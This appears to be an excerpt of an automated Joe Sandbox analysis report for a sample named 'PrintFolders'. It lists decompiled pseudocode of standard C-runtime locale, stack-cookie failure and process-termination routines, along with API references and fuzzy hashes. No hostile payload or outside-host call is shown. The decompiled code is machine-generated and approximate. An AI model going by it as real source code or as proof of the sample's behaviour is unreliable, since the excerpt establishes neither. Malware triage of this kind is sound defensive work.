                                                          • IsValidCodePage.KERNEL32(00000000), ref: 00427855
                                                          • IsValidLocale.KERNEL32(?,00000001), ref: 00427864
                                                          • GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 004278AC
                                                          • GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 004278CB
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: Locale$ErrorInfoLastValid_free$CodeDefaultPageUser
                                                          • String ID: )C
                                                          • API String ID: 949163717-1336023901
                                                          • Opcode ID: d6733786ce1444d89c0ece45410b3c14b7f86884eb63135eb5ebf69e9976cec0
                                                          • Instruction ID: 8ad3d2252febc303d5905dee770c0fca35b5db36d8f6aca9aad01a9d0ac59951
                                                          • Opcode Fuzzy Hash: d6733786ce1444d89c0ece45410b3c14b7f86884eb63135eb5ebf69e9976cec0
                                                          • Instruction Fuzzy Hash: 74518671B042259BDB10EF65EC45EBF73B8EF44700F94447AE900E7250E7789944CB69
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 94%
                                                          			E0042752B(void* __ecx, signed int _a4, intOrPtr _a8) {
                                                          				char _v8;
                                                          				int _t17;
                                                          				signed int _t18;
                                                          				signed int _t23;
                                                          				signed int _t25;
                                                          				signed int _t26;
                                                          				signed int _t27;
                                                          				void* _t30;
                                                          				void* _t31;
                                                          				intOrPtr _t32;
                                                          				intOrPtr _t33;
                                                          				intOrPtr* _t36;
                                                          				intOrPtr* _t37;
                                                          
                                                          				_push(__ecx);
                                                          				_t23 = _a4;
                                                          				if(_t23 == 0) {
                                                          					L21:
                                                          					_t10 =  &_v8; // 0x427849
                                                          					if(GetLocaleInfoW( *(_a8 + 8), 0x20001004, _t10, 2) != 0) {
                                                          						_t13 =  &_v8; // 0x427849
                                                          						_t17 =  *_t13;
                                                          						if(_t17 == 0) {
                                                          							_t17 = GetACP();
                                                          						}
                                                          						L25:
                                                          						return _t17;
                                                          					}
                                                          					L22:
                                                          					_t17 = 0;
                                                          					goto L25;
                                                          				}
                                                          				_t18 = 0;
                                                          				if( *_t23 == 0) {
                                                          					goto L21;
                                                          				}
                                                          				_t36 = L"ACP";
                                                          				_t25 = _t23;
                                                          				while(1) {
                                                          					_t30 =  *_t25;
                                                          					if(_t30 !=  *_t36) {
                                                          						break;
                                                          					}
                                                          					if(_t30 == 0) {
                                                          						L7:
                                                          						_t26 = _t18;
                                                          						L9:
                                                          						if(_t26 == 0) {
                                                          							goto L21;
                                                          						}
                                                          						_t37 = L"OCP";
                                                          						_t27 = _t23;
                                                          						while(1) {
                                                          							_t31 =  *_t27;
                                                          							if(_t31 !=  *_t37) {
                                                          								break;
                                                          							}
                                                          							if(_t31 == 0) {
                                                          								L17:
                                                          								if(_t18 != 0) {
                                                          									_t17 = E0041C802(_t23, _t23);
                                                          									goto L25;
                                                          								}
                                                          								_t6 =  &_v8; // 0x427849
                                                          								if(GetLocaleInfoW( *(_a8 + 8), 0x2000000b, _t6, 2) == 0) {
                                                          									goto L22;
                                                          								}
                                                          								_t9 =  &_v8; // 0x427849
                                                          								_t17 =  *_t9;
                                                          								goto L25;
                                                          							}
                                                          							_t32 =  *((intOrPtr*)(_t27 + 2));
                                                          							if(_t32 !=  *((intOrPtr*)(_t37 + 2))) {
                                                          								break;
                                                          							}
                                                          							_t27 = _t27 + 4;
                                                          							_t37 = _t37 + 4;
                                                          							if(_t32 != 0) {
                                                          								continue;
                                                          							}
                                                          							goto L17;
                                                          						}
                                                          						asm("sbb eax, eax");
                                                          						_t18 = _t18 | 0x00000001;
                                                          						goto L17;
                                                          					}
                                                          					_t33 =  *((intOrPtr*)(_t25 + 2));
                                                          					if(_t33 !=  *((intOrPtr*)(_t36 + 2))) {
                                                          						break;
                                                          					}
                                                          					_t25 = _t25 + 4;
                                                          					_t36 = _t36 + 4;
                                                          					if(_t33 != 0) {
                                                          						continue;
                                                          					}
                                                          					goto L7;
                                                          				}
                                                          				asm("sbb edx, edx");
                                                          				_t26 = _t25 | 0x00000001;
                                                          				goto L9;
                                                          			}
















                                                          0x00427530
                                                          0x00427531
                                                          0x00427538
                                                          0x004275dc
                                                          0x004275de
                                                          0x004275f5
                                                          0x004275fb
                                                          0x004275fb
                                                          0x00427600
                                                          0x00427602
                                                          0x00427602
                                                          0x00427608
                                                          0x0042760b
                                                          0x0042760b
                                                          0x004275f7
                                                          0x004275f7
                                                          0x00000000
                                                          0x004275f7
                                                          0x0042753e
                                                          0x00427543
                                                          0x00000000
                                                          0x00000000
                                                          0x00427549
                                                          0x0042754e
                                                          0x00427550
                                                          0x00427550
                                                          0x00427556
                                                          0x00000000
                                                          0x00000000
                                                          0x0042755b
                                                          0x00427572
                                                          0x00427572
                                                          0x0042757b
                                                          0x0042757d
                                                          0x00000000
                                                          0x00000000
                                                          0x0042757f
                                                          0x00427584
                                                          0x00427586
                                                          0x00427586
                                                          0x0042758c
                                                          0x00000000
                                                          0x00000000
                                                          0x00427591
                                                          0x004275af
                                                          0x004275b1
                                                          0x004275d4
                                                          0x00000000
                                                          0x004275d9
                                                          0x004275b5
                                                          0x004275cc
                                                          0x00000000
                                                          0x00000000
                                                          0x004275ce
                                                          0x004275ce
                                                          0x00000000
                                                          0x004275ce
                                                          0x00427593
                                                          0x0042759b
                                                          0x00000000
                                                          0x00000000
                                                          0x0042759d
                                                          0x004275a0
                                                          0x004275a6
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x004275a8
                                                          0x004275aa
                                                          0x004275ac
                                                          0x00000000
                                                          0x004275ac
                                                          0x0042755d
                                                          0x00427565
                                                          0x00000000
                                                          0x00000000
                                                          0x00427567
                                                          0x0042756a
                                                          0x00427570
                                                          0x00000000
                                                          0x00000000
                                                          0x00000000
                                                          0x00427570
                                                          0x00427576
                                                          0x00427578
                                                          0x00000000

                                                          APIs
                                                          • GetLocaleInfoW.KERNEL32(00000000,2000000B,IxB,00000002,00000000,?,?,?,00427849,?,00000000), ref: 004275C4
                                                          • GetLocaleInfoW.KERNEL32(00000000,20001004,IxB,00000002,00000000,?,?,?,00427849,?,00000000), ref: 004275ED
                                                          • GetACP.KERNEL32(?,?,00427849,?,00000000), ref: 00427602
                                                          Strings
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: InfoLocale
                                                          • String ID: ACP$IxB$OCP
                                                          • API String ID: 2299586839-4141542707
                                                          • Opcode ID: d473ddd763a2c2c897fe5dcf6db478f1cae410dc6a90a74f6531b1057af5c91b
                                                          • Instruction ID: 80627bc4f1190bcbfed89345fe7bf2f4b32af40f38ec4df066e79ffa23b7ef9e
                                                          • Opcode Fuzzy Hash: d473ddd763a2c2c897fe5dcf6db478f1cae410dc6a90a74f6531b1057af5c91b
                                                          • Instruction Fuzzy Hash: B821B832709121BAD734CF18E901A97F3A6EB54B60BD68476E909D7600E735DE81C35C
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E0040F5F5(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
                                                          				char _v0;
                                                          				struct _EXCEPTION_POINTERS _v12;
                                                          				intOrPtr _v80;
                                                          				intOrPtr _v88;
                                                          				char _v92;
                                                          				intOrPtr _v608;
                                                          				intOrPtr _v612;
                                                          				void* _v616;
                                                          				intOrPtr _v620;
                                                          				char _v624;
                                                          				intOrPtr _v628;
                                                          				intOrPtr _v632;
                                                          				intOrPtr _v636;
                                                          				intOrPtr _v640;
                                                          				intOrPtr _v644;
                                                          				intOrPtr _v648;
                                                          				intOrPtr _v652;
                                                          				intOrPtr _v656;
                                                          				intOrPtr _v660;
                                                          				intOrPtr _v664;
                                                          				intOrPtr _v668;
                                                          				char _v808;
                                                          				char* _t39;
                                                          				long _t49;
                                                          				intOrPtr _t51;
                                                          				void* _t54;
                                                          				intOrPtr _t55;
                                                          				intOrPtr _t57;
                                                          				intOrPtr _t58;
                                                          				intOrPtr _t59;
                                                          				intOrPtr* _t60;
                                                          
                                                          				_t59 = __esi;
                                                          				_t58 = __edi;
                                                          				_t57 = __edx;
                                                          				if(IsProcessorFeaturePresent(0x17) != 0) {
                                                          					_t55 = _a4;
                                                          					asm("int 0x29");
                                                          				}
                                                          				E0040F7EB(_t34);
                                                          				 *_t60 = 0x2cc;
                                                          				_v632 = E00410B00(_t58,  &_v808, 0, 3);
                                                          				_v636 = _t55;
                                                          				_v640 = _t57;
                                                          				_v644 = _t51;
                                                          				_v648 = _t59;
                                                          				_v652 = _t58;
                                                          				_v608 = ss;
                                                          				_v620 = cs;
                                                          				_v656 = ds;
                                                          				_v660 = es;
                                                          				_v664 = fs;
                                                          				_v668 = gs;
                                                          				asm("pushfd");
                                                          				_pop( *_t15);
                                                          				_v624 = _v0;
                                                          				_t39 =  &_v0;
                                                          				_v612 = _t39;
                                                          				_v808 = 0x10001;
                                                          				_v628 =  *((intOrPtr*)(_t39 - 4));
                                                          				E00410B00(_t58,  &_v92, 0, 0x50);
                                                          				_v92 = 0x40000015;
                                                          				_v88 = 1;
                                                          				_v80 = _v0;
                                                          				_t28 = IsDebuggerPresent() - 1; // -1
                                                          				_v12.ExceptionRecord =  &_v92;
                                                          				asm("sbb bl, bl");
                                                          				_v12.ContextRecord =  &_v808;
                                                          				_t54 =  ~_t28 + 1;
                                                          				SetUnhandledExceptionFilter(0);
                                                          				_t49 = UnhandledExceptionFilter( &_v12);
                                                          				if(_t49 == 0 && _t54 == 0) {
                                                          					_push(3);
                                                          					return E0040F7EB(_t49);
                                                          				}
                                                          				return _t49;
                                                          			}


































                                                          0x0040f5f5
                                                          0x0040f5f5
                                                          0x0040f5f5
                                                          0x0040f609
                                                          0x0040f60b
                                                          0x0040f60e
                                                          0x0040f60e
                                                          0x0040f612
                                                          0x0040f617
                                                          0x0040f62f
                                                          0x0040f635
                                                          0x0040f63b
                                                          0x0040f641
                                                          0x0040f647
                                                          0x0040f64d
                                                          0x0040f653
                                                          0x0040f65a
                                                          0x0040f661
                                                          0x0040f668
                                                          0x0040f66f
                                                          0x0040f676
                                                          0x0040f67d
                                                          0x0040f67e
                                                          0x0040f687
                                                          0x0040f68d
                                                          0x0040f690
                                                          0x0040f696
                                                          0x0040f6a5
                                                          0x0040f6b1
                                                          0x0040f6bc
                                                          0x0040f6c3
                                                          0x0040f6ca
                                                          0x0040f6d5
                                                          0x0040f6dd
                                                          0x0040f6e6
                                                          0x0040f6e8
                                                          0x0040f6eb
                                                          0x0040f6ed
                                                          0x0040f6f7
                                                          0x0040f6ff
                                                          0x0040f705
                                                          0x00000000
                                                          0x0040f70c
                                                          0x0040f70f

                                                          APIs
                                                          • IsProcessorFeaturePresent.KERNEL32(00000017), ref: 0040F601
                                                          • IsDebuggerPresent.KERNEL32 ref: 0040F6CD
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040F6ED
                                                          • UnhandledExceptionFilter.KERNEL32(?), ref: 0040F6F7
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                          • String ID:
                                                          • API String ID: 254469556-0
                                                          • Opcode ID: b905c57fb93a7ea2142a1a6e2d5c4873a38ca60d89c803f25540929c33dac397
                                                          • Instruction ID: e08a22daeabf917fd0aba5c617d7a5f2469330a7746797e8074d373f0119b78b
                                                          • Opcode Fuzzy Hash: b905c57fb93a7ea2142a1a6e2d5c4873a38ca60d89c803f25540929c33dac397
                                                          • Instruction Fuzzy Hash: 7131FA75D052189BDB20DFA5D989BCDBBB8BF08304F1041BAE409A7290EB755A89CF49
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 85%
                                                          			E10003AD4(intOrPtr __edx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
                                                          				char _v0;
                                                          				struct _EXCEPTION_POINTERS _v12;
                                                          				intOrPtr _v80;
                                                          				intOrPtr _v88;
                                                          				char _v92;
                                                          				intOrPtr _v608;
                                                          				intOrPtr _v612;
                                                          				void* _v616;
                                                          				intOrPtr _v620;
                                                          				char _v624;
                                                          				intOrPtr _v628;
                                                          				intOrPtr _v632;
                                                          				intOrPtr _v636;
                                                          				intOrPtr _v640;
                                                          				intOrPtr _v644;
                                                          				intOrPtr _v648;
                                                          				intOrPtr _v652;
                                                          				intOrPtr _v656;
                                                          				intOrPtr _v660;
                                                          				intOrPtr _v664;
                                                          				intOrPtr _v668;
                                                          				char _v808;
                                                          				char* _t39;
                                                          				long _t49;
                                                          				intOrPtr _t51;
                                                          				void* _t54;
                                                          				intOrPtr _t55;
                                                          				intOrPtr _t57;
                                                          				intOrPtr _t58;
                                                          				intOrPtr _t59;
                                                          				intOrPtr* _t60;
                                                          
                                                          				_t59 = __esi;
                                                          				_t58 = __edi;
                                                          				_t57 = __edx;
                                                          				if(IsProcessorFeaturePresent(0x17) != 0) {
                                                          					_t55 = _a4;
                                                          					asm("int 0x29");
                                                          				}
                                                          				E10003BEF(_t34);
                                                          				 *_t60 = 0x2cc;
                                                          				_v632 = E10004730(_t58,  &_v808, 0, 3);
                                                          				_v636 = _t55;
                                                          				_v640 = _t57;
                                                          				_v644 = _t51;
                                                          				_v648 = _t59;
                                                          				_v652 = _t58;
                                                          				_v608 = ss;
                                                          				_v620 = cs;
                                                          				_v656 = ds;
                                                          				_v660 = es;
                                                          				_v664 = fs;
                                                          				_v668 = gs;
                                                          				asm("pushfd");
                                                          				_pop( *_t15);
                                                          				_v624 = _v0;
                                                          				_t39 =  &_v0;
                                                          				_v612 = _t39;
                                                          				_v808 = 0x10001;
                                                          				_v628 =  *((intOrPtr*)(_t39 - 4));
                                                          				E10004730(_t58,  &_v92, 0, 0x50);
                                                          				_v92 = 0x40000015;
                                                          				_v88 = 1;
                                                          				_v80 = _v0;
                                                          				_t28 = IsDebuggerPresent() - 1; // -1
                                                          				_v12.ExceptionRecord =  &_v92;
                                                          				asm("sbb bl, bl");
                                                          				_v12.ContextRecord =  &_v808;
                                                          				_t54 =  ~_t28 + 1;
                                                          				SetUnhandledExceptionFilter(0);
                                                          				_t49 = UnhandledExceptionFilter( &_v12);
                                                          				if(_t49 == 0 && _t54 == 0) {
                                                          					_push(3);
                                                          					return E10003BEF(_t49);
                                                          				}
                                                          				return _t49;
                                                          			}


































                                                          0x10003ad4
                                                          0x10003ad4
                                                          0x10003ad4
                                                          0x10003ae8
                                                          0x10003aea
                                                          0x10003aed
                                                          0x10003aed
                                                          0x10003af1
                                                          0x10003af6
                                                          0x10003b0e
                                                          0x10003b14
                                                          0x10003b1a
                                                          0x10003b20
                                                          0x10003b26
                                                          0x10003b2c
                                                          0x10003b32
                                                          0x10003b39
                                                          0x10003b40
                                                          0x10003b47
                                                          0x10003b4e
                                                          0x10003b55
                                                          0x10003b5c
                                                          0x10003b5d
                                                          0x10003b66
                                                          0x10003b6c
                                                          0x10003b6f
                                                          0x10003b75
                                                          0x10003b84
                                                          0x10003b90
                                                          0x10003b9b
                                                          0x10003ba2
                                                          0x10003ba9
                                                          0x10003bb4
                                                          0x10003bbc
                                                          0x10003bc5
                                                          0x10003bc7
                                                          0x10003bca
                                                          0x10003bcc
                                                          0x10003bd6
                                                          0x10003bde
                                                          0x10003be4
                                                          0x00000000
                                                          0x10003beb
                                                          0x10003bee

                                                          APIs
                                                          • IsProcessorFeaturePresent.KERNEL32(00000017,?), ref: 10003AE0
                                                          • IsDebuggerPresent.KERNEL32 ref: 10003BAC
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 10003BCC
                                                          • UnhandledExceptionFilter.KERNEL32(?), ref: 10003BD6
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
                                                          • String ID:
                                                          • API String ID: 254469556-0
                                                          • Opcode ID: 87d6071aa85ca3aceb4d5d49843fcbf5a144f8cfc35fef28e923873c0919a720
                                                          • Instruction ID: 6c05d683b9c83b65af34da63d054ec9b8364850d5d560307e6d3fdc6a332805a
                                                          • Opcode Fuzzy Hash: 87d6071aa85ca3aceb4d5d49843fcbf5a144f8cfc35fef28e923873c0919a720
                                                          • Instruction Fuzzy Hash: 7E311875D052189BEB11DFA4D989BCDBBB8EF08344F1080AAE54CAB254EB719A848F05
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 78%
                                                          			E0041336B(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				char _v0;
                                                          				signed int _v8;
                                                          				intOrPtr _v524;
                                                          				intOrPtr _v528;
                                                          				void* _v532;
                                                          				intOrPtr _v536;
                                                          				char _v540;
                                                          				intOrPtr _v544;
                                                          				intOrPtr _v548;
                                                          				intOrPtr _v552;
                                                          				intOrPtr _v556;
                                                          				intOrPtr _v560;
                                                          				intOrPtr _v564;
                                                          				intOrPtr _v568;
                                                          				intOrPtr _v572;
                                                          				intOrPtr _v576;
                                                          				intOrPtr _v580;
                                                          				intOrPtr _v584;
                                                          				char _v724;
                                                          				intOrPtr _v792;
                                                          				intOrPtr _v800;
                                                          				char _v804;
                                                          				struct _EXCEPTION_POINTERS _v812;
                                                          				void* __edi;
                                                          				signed int _t40;
                                                          				char* _t47;
                                                          				char* _t49;
                                                          				intOrPtr _t60;
                                                          				intOrPtr _t61;
                                                          				intOrPtr _t65;
                                                          				intOrPtr _t66;
                                                          				int _t67;
                                                          				intOrPtr _t68;
                                                          				signed int _t69;
                                                          
                                                          				_t68 = __esi;
                                                          				_t65 = __edx;
                                                          				_t60 = __ebx;
                                                          				_t40 =  *0x43d054; // 0x6e36c9b5
                                                          				_t41 = _t40 ^ _t69;
                                                          				_v8 = _t40 ^ _t69;
                                                          				if(_a4 != 0xffffffff) {
                                                          					_push(_a4);
                                                          					E0040F7EB(_t41);
                                                          					_pop(_t61);
                                                          				}
                                                          				E00410B00(_t66,  &_v804, 0, 0x50);
                                                          				E00410B00(_t66,  &_v724, 0, 0x2cc);
                                                          				_v812.ExceptionRecord =  &_v804;
                                                          				_t47 =  &_v724;
                                                          				_v812.ContextRecord = _t47;
                                                          				_v548 = _t47;
                                                          				_v552 = _t61;
                                                          				_v556 = _t65;
                                                          				_v560 = _t60;
                                                          				_v564 = _t68;
                                                          				_v568 = _t66;
                                                          				_v524 = ss;
                                                          				_v536 = cs;
                                                          				_v572 = ds;
                                                          				_v576 = es;
                                                          				_v580 = fs;
                                                          				_v584 = gs;
                                                          				asm("pushfd");
                                                          				_pop( *_t22);
                                                          				_v540 = _v0;
                                                          				_t49 =  &_v0;
                                                          				_v528 = _t49;
                                                          				_v724 = 0x10001;
                                                          				_v544 =  *((intOrPtr*)(_t49 - 4));
                                                          				_v804 = _a8;
                                                          				_v800 = _a12;
                                                          				_v792 = _v0;
                                                          				_t67 = IsDebuggerPresent();
                                                          				SetUnhandledExceptionFilter(0);
                                                          				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
                                                          					_push(_a4);
                                                          					_t57 = E0040F7EB(_t57);
                                                          				}
                                                          				return E0040EBBF(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
                                                          			}





































                                                          0x0041336b
                                                          0x0041336b
                                                          0x0041336b
                                                          0x00413376
                                                          0x0041337b
                                                          0x0041337d
                                                          0x00413385
                                                          0x00413387
                                                          0x0041338a
                                                          0x0041338f
                                                          0x0041338f
                                                          0x0041339b
                                                          0x004133ae
                                                          0x004133bc
                                                          0x004133c2
                                                          0x004133c8
                                                          0x004133ce
                                                          0x004133d4
                                                          0x004133da
                                                          0x004133e0
                                                          0x004133e6
                                                          0x004133ec
                                                          0x004133f2
                                                          0x004133f9
                                                          0x00413400
                                                          0x00413407
                                                          0x0041340e
                                                          0x00413415
                                                          0x0041341c
                                                          0x0041341d
                                                          0x00413426
                                                          0x0041342c
                                                          0x0041342f
                                                          0x00413435
                                                          0x00413442
                                                          0x0041344b
                                                          0x00413454
                                                          0x0041345d
                                                          0x0041346b
                                                          0x0041346d
                                                          0x00413482
                                                          0x0041348e
                                                          0x00413491
                                                          0x00413496
                                                          0x004134a3

                                                          APIs
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 00413463
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 0041346D
                                                          • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 0041347A
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.380467077.0000000000400000.00000040.00000001.01000000.00000007.sdmp, Offset: 00400000, based on PE: true
                                                          • Associated: 00000002.00000002.380613965.0000000000452000.00000040.00000001.01000000.00000007.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_400000_PrintFolders.jbxd
                                                          Yara matches
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                          • String ID:
                                                          • API String ID: 3906539128-0
                                                          • Opcode ID: 08f293217c44ab737df140b6d3b84d0e147ad2ade69c0ac62fd1d43b73898614
                                                          • Instruction ID: eed5281d3674d54920691af3d978e0505281e735928a2e98dc149aff2d4c60b5
                                                          • Opcode Fuzzy Hash: 08f293217c44ab737df140b6d3b84d0e147ad2ade69c0ac62fd1d43b73898614
                                                          • Instruction Fuzzy Hash: 9131C4749012289BCB21DF69DC89BDDBBB4BF08714F5041EAE41CA7290E7749B858F49
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 78%
                                                          			E10006180(intOrPtr __ebx, intOrPtr __edx, intOrPtr __esi, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12) {
                                                          				char _v0;
                                                          				signed int _v8;
                                                          				intOrPtr _v524;
                                                          				intOrPtr _v528;
                                                          				void* _v532;
                                                          				intOrPtr _v536;
                                                          				char _v540;
                                                          				intOrPtr _v544;
                                                          				intOrPtr _v548;
                                                          				intOrPtr _v552;
                                                          				intOrPtr _v556;
                                                          				intOrPtr _v560;
                                                          				intOrPtr _v564;
                                                          				intOrPtr _v568;
                                                          				intOrPtr _v572;
                                                          				intOrPtr _v576;
                                                          				intOrPtr _v580;
                                                          				intOrPtr _v584;
                                                          				char _v724;
                                                          				intOrPtr _v792;
                                                          				intOrPtr _v800;
                                                          				char _v804;
                                                          				struct _EXCEPTION_POINTERS _v812;
                                                          				void* __edi;
                                                          				signed int _t40;
                                                          				char* _t47;
                                                          				char* _t49;
                                                          				intOrPtr _t60;
                                                          				intOrPtr _t61;
                                                          				intOrPtr _t65;
                                                          				intOrPtr _t66;
                                                          				int _t67;
                                                          				intOrPtr _t68;
                                                          				signed int _t69;
                                                          
                                                          				_t68 = __esi;
                                                          				_t65 = __edx;
                                                          				_t60 = __ebx;
                                                          				_t40 =  *0x10017004; // 0x615bd7ba
                                                          				_t41 = _t40 ^ _t69;
                                                          				_v8 = _t40 ^ _t69;
                                                          				if(_a4 != 0xffffffff) {
                                                          					_push(_a4);
                                                          					E10003BEF(_t41);
                                                          					_pop(_t61);
                                                          				}
                                                          				E10004730(_t66,  &_v804, 0, 0x50);
                                                          				E10004730(_t66,  &_v724, 0, 0x2cc);
                                                          				_v812.ExceptionRecord =  &_v804;
                                                          				_t47 =  &_v724;
                                                          				_v812.ContextRecord = _t47;
                                                          				_v548 = _t47;
                                                          				_v552 = _t61;
                                                          				_v556 = _t65;
                                                          				_v560 = _t60;
                                                          				_v564 = _t68;
                                                          				_v568 = _t66;
                                                          				_v524 = ss;
                                                          				_v536 = cs;
                                                          				_v572 = ds;
                                                          				_v576 = es;
                                                          				_v580 = fs;
                                                          				_v584 = gs;
                                                          				asm("pushfd");
                                                          				_pop( *_t22);
                                                          				_v540 = _v0;
                                                          				_t49 =  &_v0;
                                                          				_v528 = _t49;
                                                          				_v724 = 0x10001;
                                                          				_v544 =  *((intOrPtr*)(_t49 - 4));
                                                          				_v804 = _a8;
                                                          				_v800 = _a12;
                                                          				_v792 = _v0;
                                                          				_t67 = IsDebuggerPresent();
                                                          				SetUnhandledExceptionFilter(0);
                                                          				if(UnhandledExceptionFilter( &_v812) == 0 && _t67 == 0 && _a4 != 0xffffffff) {
                                                          					_push(_a4);
                                                          					_t57 = E10003BEF(_t57);
                                                          				}
                                                          				return E100031FF(_t57, _t60, _v8 ^ _t69, _t65, _t67, _t68);
                                                          			}





































                                                          0x10006180
                                                          0x10006180
                                                          0x10006180
                                                          0x1000618b
                                                          0x10006190
                                                          0x10006192
                                                          0x1000619a
                                                          0x1000619c
                                                          0x1000619f
                                                          0x100061a4
                                                          0x100061a4
                                                          0x100061b0
                                                          0x100061c3
                                                          0x100061d1
                                                          0x100061d7
                                                          0x100061dd
                                                          0x100061e3
                                                          0x100061e9
                                                          0x100061ef
                                                          0x100061f5
                                                          0x100061fb
                                                          0x10006201
                                                          0x10006207
                                                          0x1000620e
                                                          0x10006215
                                                          0x1000621c
                                                          0x10006223
                                                          0x1000622a
                                                          0x10006231
                                                          0x10006232
                                                          0x1000623b
                                                          0x10006241
                                                          0x10006244
                                                          0x1000624a
                                                          0x10006257
                                                          0x10006260
                                                          0x10006269
                                                          0x10006272
                                                          0x10006280
                                                          0x10006282
                                                          0x10006297
                                                          0x100062a3
                                                          0x100062a6
                                                          0x100062ab
                                                          0x100062b8

                                                          APIs
                                                          • IsDebuggerPresent.KERNEL32(?,?,?,?,?,00000000), ref: 10006278
                                                          • SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,00000000), ref: 10006282
                                                          • UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,00000000), ref: 1000628F
                                                          Memory Dump Source
                                                          • Source File: 00000002.00000002.382027738.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true
                                                          • Associated: 00000002.00000002.382023656.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382041699.0000000010010000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382053662.0000000010017000.00000004.00001000.00020000.00000000.sdmpDownload File
                                                          • Associated: 00000002.00000002.382059437.0000000010019000.00000002.00001000.00020000.00000000.sdmpDownload File
                                                          Joe Sandbox IDA Plugin
                                                          • Snapshot File: hcaresult_2_2_10000000_PrintFolders.jbxd
                                                          Similarity
                                                          • API ID: ExceptionFilterUnhandled$DebuggerPresent
                                                          • String ID:
                                                          • API String ID: 3906539128-0
                                                          • Opcode ID: 9a692d0d77a07a7f37119dcdd5ace2a3b37eeee0a1bfcb31a8054ad36fdd368c
                                                          • Instruction ID: abb11d6b70c581ee1350689d9832688372e2db19cf6905fbf3b29f181f2760c3
                                                          • Opcode Fuzzy Hash: 9a692d0d77a07a7f37119dcdd5ace2a3b37eeee0a1bfcb31a8054ad36fdd368c
                                                          • Instruction Fuzzy Hash: F431C4749012289BDB21DF68DC89BCDBBB8FF08350F5041EAE41CA7251EB709B858F45
                                                          Uniqueness

                                                          Uniqueness Score: -1.00%

                                                          C-Code - Quality: 100%
                                                          			E10006CE1(int _a4) {
                                                          				void* _t14;
                                                          
                                                          				if(E100091C7(_t14) != 1 && ( *( *[fs:0x30] + 0x68) >> 0x00000008 & 0x00000001) == 0) {
                                                          					TerminateProcess(GetCurrentProcess(), _a4);
                                                          				}
                                                          				E10006D66(_t14, _a4);
                                                          				ExitProcess(_a4);
                                                          			}




                                                          0x10006cee
                                                          0x10006d0a
                                                          0x10006d0a
                                                          0x10006d13
                                                          0x10006d1c

                                                          APIs
                                                          • GetCurrentProcess.KERNEL32(10007C68,?,10006CE0,10002482,?,10007C68,10002482,10007C68), ref: 10006D03
                                                          • TerminateProcess.KERNEL32(00000000,?,10006CE0,10002482,?,10007C68,10002482,10007C68), ref: 10006D0A
